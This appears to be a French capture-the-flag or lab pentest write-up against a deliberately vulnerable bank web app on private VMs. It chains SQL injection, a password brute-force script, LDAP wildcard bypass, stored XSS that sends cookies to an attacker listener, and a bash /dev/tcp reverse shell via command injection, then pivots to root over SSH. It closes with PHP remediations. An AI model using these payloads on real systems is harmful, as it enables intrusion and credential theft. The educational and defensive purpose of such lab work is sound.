À exécuter dans l'ordre à chaque redémarrage des machines virtuelles.
Rétablit le réseau et l'accès Internet (NAT/Forwarding).
sysctl -w net.ipv4.ip_forward=1<
# 2. Activer le NAT (Internet)
# Remplace enp1s0 par ton interface WAN si différent
-
iptables -t nat -A POSTROUTING -o enp1s0 -j MASQUERADE
# 3. Autoriser le trafic
iptables -P FORWARD ACCEPTSi le site ne charge pas, lancez ces commandes.
systemctl start apache2systemctl start mariadb
systemctl start slapdCréation du Tunnel SSH pour accéder au site localement.
ssh -L 8080:192.168.10.10:80 qamu@192.168.122.100
# Pour activer l'environnement necessaire
source env_cyber/bin/activatehttp://localhost:8080/banque
Ce rapport détaille la méthodologie complète de pentesting, partant d'aucune connaissance de l'infrastructure (Black Box) jusqu'à la compromission totale du système bancaire.
L'attaquant explore le site public. Il identifie un formulaire de recherche sur la page public.php.
Injection d'une charge utile SQL (Payload) pour détourner la requête et afficher le contenu de la table des utilisateurs.
URL cible :
http://192.168.122.100:8080/banque/public.php
Payload SQL Injection :
deded' UNION SELECT 1,schema_name,2,3 FROM information_schema.schemata--
desas' UNION SELECT 1,table_name,2,3 FROM information_schema.tables WHERE table_schema='ctf_bank'--
desee' UNION SELECT 1,column_name,2,3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1, username, password_hash, role_id FROM users --
Le site révèle tous les utilisateurs de la base de données :
L'attaquant dispose d'un nom d'utilisateur (samy) découvert en Phase 1, mais pas de son mot de passe. Il cible la page de connexion index.php.
Lancement d'un script Python automatisé pour tester une liste de mots de passe courants.
Création du script :
nano bruteforce.py
Contenu du script :
import requests
url = "http://localhost:8080/banque/index.php"
username = "samy"
passwords = ['123456', 'password', 'dragon', 'admin', 'welcome', '020103']
for password in passwords:
data = {'username': username, 'password': password}
try:
r = requests.post(url, data=data)
if "Protocole" not in r.text:
print(f"[+] VICTOIRE ! Mot de passe : {password}")
break
else:
print(f"[-] Echec : {password}")
except:
print("[!] Erreur de connexion au serveur.")
break
chmod +x bruteforce.py
python3 bruteforce.py
Résultat :
[*] Attaque sur l'utilisateur : samy
[*] URL cible : http://192.168.122.100:8080/banque/index.php
--------------------------------------------------
[-] Test : 123456 Échec
[-] Test : password Échec
[-] Test : 12345678 Échec
[-] Test : qwerty Échec
[-] Test : abc123 Échec
[-] Test : monkey Échec
[-] Test : 1234567 Échec
[-] Test : letmein Échec
[-] Test : trustno1 Échec
[-] Test : dragon
[+] SUCCÈS : Mot de passe trouvé -> dragon
[+] Credentials : samy:dragon
Connexion manuelle à l'interface avec les credentials samy:dragon.
Warning : Le site ne possède aucun mécanisme permettant des tentatives de connexion illimitées.
L'attaquant est connecté sur l'Intranet avec le compte de Samy. L'annuaire LDAP semble filtrer les résultats pour ne montrer que certains employés. Une recherche simple sur "admin" ne renvoie rien.
Comme l'attaquant est sur l'intranet et que l'attaquant cherche des employés dans l'annuaire de l'entreprise, il est fort probable que derriere le site utilise le protocole LDAP plutôt que du SQL. C'est le standard pour la gestion des identités
URL cible :
http://192.168.122.100:8080/banque/dashboard.php
Payload LDAP Injection :
Pour contourner ce filtre et voir tous les utilisateurs, il utilise un wildcard LDAP.
*
Le filtre de sécurité est contourné. Tous les utilisateurs LDAP apparaissent dans les résultats, incluant :
Succès : Information critique découverte : L'administrateur consulte les rapports d'incidents, ce qui ouvre la voie à une attaque XSS.
L'objectif est de voler la session de l'Administrateur. Le formulaire "Signaler un incident" permet de stocker du contenu qui sera consulté par l'admin. Ce contenu n'est pas filtré, permettant l'injection de code JavaScript malveillant.
nc -lvnp 8888
Résultat :
Listening on 0.0.0.0 8888
hostname -I
Exemple de résultat :
192.168.122.1
Page cible : dashboard.php (connecté en tant que samy)
Dans le formulaire "Signaler un incident", insérer le payload :
<script>document.location='http://192.168.122.101:8888/?cookie='+document.cookie</script>
<script>new Image().src='http://192.168.122.101:8888/?cookie='+document.cookie;</script>
Dans un navigateur en mode privé ou un autre navigateur :
admin.phpRetour sur le terminal Kali (netcat) :
Connection received on 192.168.122.100 45678
GET /?cookie=PHPSESSID=a7b8c9d0e1f2g3h4i5j6k7l8m9n0 HTTP/1.1
Host: 192.168.122.1:8888
User-Agent: Mozilla/5.0...
Copier le cookie : PHPSESSID=a7b8c9d0e1f2g3h4i5j6k7l8m9n0
Dans le navigateur principal (connecté en tant que samy) :
PHPSESSIDhttp://192.168.122.100:8080/banque/admin.phpL'attaquant est maintenant connecté en tant qu'Administrateur sans connaître son mot de passe !
Succès : Session admin compromise via XSS Stored. Accès total au panneau d'administration obtenu.
Bug JS: aller sur
admin:config, puis changerTrueenFalse
L'attaquant est connecté en tant qu'Admin. Il accède à l'outil de diagnostic "Ping" sur la page admin.php, vulnérable à l'injection de commandes système.
nc -lvnp 4444
Résultat :
Listening on 0.0.0.0 4444
Page cible : admin.php - Section "Outil de Diagnostic Serveur"
Dans le champ "Adresse IP", injecter le payload :
127.0.0.1; bash -c 'bash -i >& /dev/tcp/192.168.122.101/4444 0>&1'
Warning : Remplacez
192.168.122.101par l'IP réelle de votre machine Attaquante !
Cliquer sur "Lancer le Ping"
Retour sur le terminal Kali (netcat) :
Connection received on 192.168.122.100 54321
bash: cannot set terminal process group (645): Inappropriate ioctl for device
bash: no job control in this shell
www-data@debian:/var/www/html/banque$
Succès : Shell interactif obtenu sur le serveur web en tant que www-data !
L'attaquant contrôle le serveur Web (DMZ - 192.168.122.100), mais la cible réelle est le serveur de base de données interne (192.168.20.10), inaccessible depuis Internet. Il fouille les fichiers de configuration.
Dans le reverse shell :
cat db.php
Résultat :
<?php
$servername = "192.168.20.10";
$username = "ctf_admin";
$password = "password123";
$dbname = "ctf_bank";
?>
Informations découverts :
192.168.20.10ctf_adminpassword123ctf_bankmysql -h 192.168.20.10 -u ctf_admin -ppassword123 -D ctf_bank
Explorer les tables :
SHOW TABLES;
Résultat :
+--------------------+
| Tables_in_ctf_bank |
+--------------------+
| investments |
| logs |
| roles |
| transfers |
| users |
| vault |
+--------------------+
SELECT * FROM vault;
+---------------------------+
| id | asset_name | value |
+---------------------------+
| 1 | ssh_root_key | -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAh//99dLjnVBvhaldD9ewexDktCm8isk+/WpZqjnlnuhGIAv6Z6RW
+--------------------+
Info : La table vault contient des données sensibles !
mysql -h 192.168.20.10 -u ctf_admin -ppassword123 -D ctf_bank -e "SELECT value FROM vault WHERE asset_name='ssh_root_key'" > /tmp/ssh_key_raw.txt
Nettoyer la clé (enlever l'en-tête SQL) :
tail -n +2 /tmp/ssh_key_raw.txt > /tmp/root.key
Convertir les caractères d'échappement \n en vrais retours à la ligne :
echo -e "$(cat /tmp/root.key)" > /tmp/root_fixed.key
Définir les permissions :
chmod 600 /tmp/root_fixed.key
Vérifier la clé :
head -n 3 /tmp/root_fixed.key
Résultat attendu :
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAh//99dLjnVBvhaldD9ewexDktCm8isk+/WpZqjnlnuhGIAv6Z6RW
Succès : Clé SSH privée du serveur interne extraite avec succès !
L'attaquant possède la clé privée SSH du serveur interne. Il l'utilise pour lancer une connexion SSH depuis le serveur Web (DMZ) vers le serveur Interne (Pivot).
Dans le reverse shell :
ssh -i /tmp/root_fixed.key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.20.10
Explication des options :
-i /tmp/root_fixed.key : Spécifie la clé privée-o StrictHostKeyChecking=no : Accepte automatiquement la clé du serveur (évite l'interaction yes/no)-o UserKnownHostsFile=/dev/null : Ne sauvegarde pas la clé (évite les erreurs d'écriture)Linux debian 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@debian:~#
Vérification des privilèges :
whoami
id
hostname
Résultat :
root
uid=0(root) gid=0(root) groups=0(root)
debian
Succès : ACCÈS ROOT COMPLET au serveur de base de données interne (192.168.20.10) ! L'attaquant a pris le contrôle total de l'infrastructure bancaire.
| Phase | Technique | Cible | Résultat |
|---|---|---|---|
| 1 | SQL Injection | public.php | Découverte des utilisateurs (samy, admin) |
| 2 | Bruteforce | index.php | Information : samy:dragon |
| 3 | LDAP Injection | dashboard.php | Découverte admin + info "consulte les rapports" |
| 4 | XSS Stored | dashboard.php → admin.php | Vol du cookie PHPSESSID de l'admin |
| 5 | RCE / Command Injection | admin.php | Shell www-data sur serveur DMZ (192.168.122.100) |
| 6 | Post-Exploitation | db.php + MySQL | Extraction clé SSH depuis table vault |
| 7 | SSH Pivot | 192.168.20.10 | ROOT sur serveur BDD interne |
[INTERNET]
|
[ATTAQUANT KALI - 192.168.122.1]
| SQL Injection / Bruteforce / XSS / RCE
[SERVEUR WEB DMZ - 192.168.122.100] Shell www-data
| Exfiltration clé SSH (table vault)
[SERVEUR BDD INTERNE - 192.168.20.10] ROOT ACCESS
Warning : Impact critique : Accès complet aux données bancaires sensibles, contrôle total des serveurs, possibilité de manipulation des transactions, exfiltration de données clients.
Correction :
$stmt = $conn->prepare("SELECT id, username, password_hash, role_id FROM users WHERE username LIKE ?");
$search = "%$_POST['search']%";
$stmt->bind_param("s", $search);
$stmt->execute();
Correction :
// Limiter à 5 tentatives par IP toutes les 15 minutes
$ip = $_SERVER['REMOTE_ADDR'];
$attempts = get_login_attempts($ip);
if ($attempts > 5) {
exit("Trop de tentatives. Réessayez dans 15 minutes.");
}
* ( ) \ / NULCorrection :
// On récupère la recherche de l'utilisateur
$search = $_GET['search'];
// On utilise la fonction native de PHP pour sécuriser (disponible depuis PHP 5.6)
// LDAP_ESCAPE_FILTER dit à PHP : "Prépare ça pour aller dans un filtre (...)"
$safe_search = ldap_escape($search, "", LDAP_ESCAPE_FILTER);
// On construit la requête sécurisée
$filter = "(&(uid=" . $safe_search . ")(description=employee))";
Correction :
// Stockage
$stmt = $conn->prepare("INSERT INTO logs (entry, date) VALUES (?, NOW())");
$stmt->bind_param("s", $_POST['rapport']);
$stmt->execute();
// Affichage
echo htmlspecialchars($row['entry'], ENT_QUOTES, 'UTF-8');
Correction :
// Valider que c'est une IP valide
$ip = filter_var($_POST['ip_ping'], FILTER_VALIDATE_IP);
if ($ip === false) {
die("Adresse IP invalide");
}
// Utiliser uniquement des commandes sûres
$cmd_result = shell_exec("ping -c 1 " . escapeshellarg($ip));
Correction :
// Utiliser des variables d'environnement
$servername = getenv('DB_HOST');
$username = getenv('DB_USER');
$password = getenv('DB_PASS');
$dbname = getenv('DB_NAME');